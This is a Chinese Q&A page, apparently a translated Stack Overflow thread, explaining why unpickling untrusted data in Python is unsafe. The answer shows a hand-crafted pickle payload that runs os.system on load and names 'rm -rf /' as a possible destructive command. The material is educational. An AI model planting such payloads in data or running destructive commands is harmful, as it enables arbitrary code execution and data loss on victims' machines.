首页 > 解决方案 > 不受信任的泡菜来源

问题描述

来自 python 文档pickle

警告 pickle 模块不安全。只解开您信任的数据。

什么是酸洗然后取消酸洗会做恶意的数据的例子?我只使用过 pickle 来保存不一定 json 编码良好的对象(日期、十进制等),所以我对它没有太多经验,或者它除了作为“更简单的 json”编码器之外还有什么能力。

可以用它来做一些恶意的例子是什么?

标签: pythonpickle

解决方案


就像 Chase 说的,函数可以通过 unpickling 来执行。根据此来源:https ://intoli.com/blog/dangerous-pickles/ ,腌制对象实际上存储为在打开时解释的字节码指令(类似于 Python 本身)。通过编写 pickle 字节码,可以制作一个 pickle“程序”来做任何事情。

在这里,我制作了一个 pickle 程序来运行 bash 命令say "malicious code",但您也可以运行类似rm -rf /的命令。

我将以下字节码保存到文件中:

c__builtin__
exec
(Vimport os; os.system('say "malicious code"')
tR.

然后解开它:

import pickle
loadfile = open('malicious', 'rb')
data = pickle.load(loadfile)

我立即听到了一些“恶意代码”。


推荐阅读